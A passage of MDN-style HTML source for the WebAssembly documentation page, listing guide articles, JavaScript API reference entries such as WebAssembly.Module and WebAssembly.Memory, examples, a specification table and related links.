WebAssembly JavaScript API</a></dt> - <dd>Once you've loaded a .wasm module, you'll want to use it. In this article we show you how to use WebAssembly via the WebAssembly JavaScript API.</dd> - <dt><a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly functions</a></dt> - <dd>Exported WebAssembly functions are the JavaScript reflections of WebAssembly functions which allow calling WebAssembly code from JavaScript. This article describes what they are.</dd> - <dt><a href="/en-US/docs/WebAssembly/Understanding_the_text_format">Understanding WebAssembly text format</a></dt> - <dd>This article explains the wasm text format. This is the low-level textual representation of a .wasm module shown in browser developer tools when debugging.</dd> - <dt><a href="/en-US/docs/WebAssembly/Text_format_to_wasm">Converting WebAssembly text format to wasm</a></dt> - <dd>This article provides a guide on how to convert a WebAssembly module written in the text format into a .wasm binary.</dd> -</dl> -</div> - -<div class="section"> -<h2 dir="ltr" id="API_reference">API reference</h2> - -<dl> - <dt>{{jsxref("Global_objects/WebAssembly", "WebAssembly")}}</dt> - <dd>This object acts as the namespace for all WebAssembly related functionality.</dd> - <dt>{{jsxref("Global_objects/WebAssembly/Global", "WebAssembly.Global()")}}</dt> - <dd>A <code>WebAssembly.Global</code> object represents a global variable instance, accessible from both JavaScript and importable/exportable across one or more {{jsxref("WebAssembly.Module")}} instances. This allows dynamic linking of multiple modules.</dd> - <dt>{{jsxref("Global_objects/WebAssembly/Module", "WebAssembly.Module()")}}</dt> - <dd>A <code>WebAssembly.Module</code> object contains stateless WebAssembly code that has already been compiled by the browser and can be efficiently <a href="/en-US/docs/Web/API/Worker/postMessage">shared with Workers</a>, and instantiated multiple times.</dd> - <dt>{{jsxref("Global_objects/WebAssembly/Instance", "WebAssembly.Instance()")}}</dt> - <dd>A <code>WebAssembly.Instance</code> object is a stateful, executable instance of a <code>Module</code>. <code>Instance</code> objects contain all the <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly functions</a> that allow calling into WebAssembly code from JavaScript.</dd> - <dt>{{jsxref("Global_objects/WebAssembly/instantiateStreaming", "WebAssembly.instantiateStreaming()")}}</dt> - <dd>The <code>WebAssembly.instantiateStreaming()</code> function is the primary API for compiling and instantiating WebAssembly code, returning both a <code>Module</code> and its first <code>Instance</code>.</dd> - <dt>{{jsxref("Global_objects/WebAssembly/Memory", "WebAssembly.Memory()")}}</dt> - <dd>A <code>WebAssembly.Memory</code> object is a resizable {{jsxref("Global_objects/ArrayBuffer", "ArrayBuffer")}} that holds the raw bytes of memory accessed by an <code>Instance</code>.</dd> - <dt>{{jsxref("Global_objects/WebAssembly/Table", "WebAssembly.Table()")}}</dt> - <dd>A <code>WebAssembly.Table</code> object is a resizable typed array of opaque values, like function references, that are accessed by an <code>Instance</code>.</dd> - <dt>{{jsxref("WebAssembly.CompileError()")}}</dt> - <dd>Creates a new WebAssembly <code>CompileError</code> object.</dd> - <dt>{{jsxref("WebAssembly.LinkError()")}}</dt> - <dd>Creates a new WebAssembly <code>LinkError</code> object.</dd> - <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt> - <dd>Creates a new WebAssembly <code>RuntimeError</code> object.</dd> -</dl> -</div> -</div> - -<h2 dir="ltr" id="Examples">Examples</h2> - -<ul dir="ltr"> - <li><a href="https://github.com/JasonWeathersby/WASMSobel">WASMSobel</a></li> - <li>See our <a href="https://github.com/mdn/webassembly-examples/">webassembly-examples</a> repo for a number of other examples.</li> -</ul> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('WebAssembly JS')}}</td> - <td>{{Spec2('WebAssembly JS')}}</td> - <td>Initial draft definition of the JavaScript API.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.builtins.WebAssembly")}}</p> - -<h2 id="See_also">See also</h2> - -<ul dir="ltr"> - <li><a href="https://research.mozilla.org/webassembly/">WebAssembly on Mozilla Research</a></li> - <li><a href="http://webassembly.org/">webassembly.org</a></li> - <li><a href="https://hacks.mozilla.org/category/webassembly/">WebAssembly articles on Mozilla Hacks blog</a></li> - <li><a href="https://www.w3.org/community/webassembly/">W3C WebAssembly Community Group</a></li> - <li><a href="/en-US/docs/Web/HTTP/Headers/Large-Allocation">Large-Allocation HTTP header</a></li> - <li><a href="https://developers.google.com/web/updates/2018/03/emscripting-a-c-library">Emscripting a C Library to Wasm</a></li> -</ul> |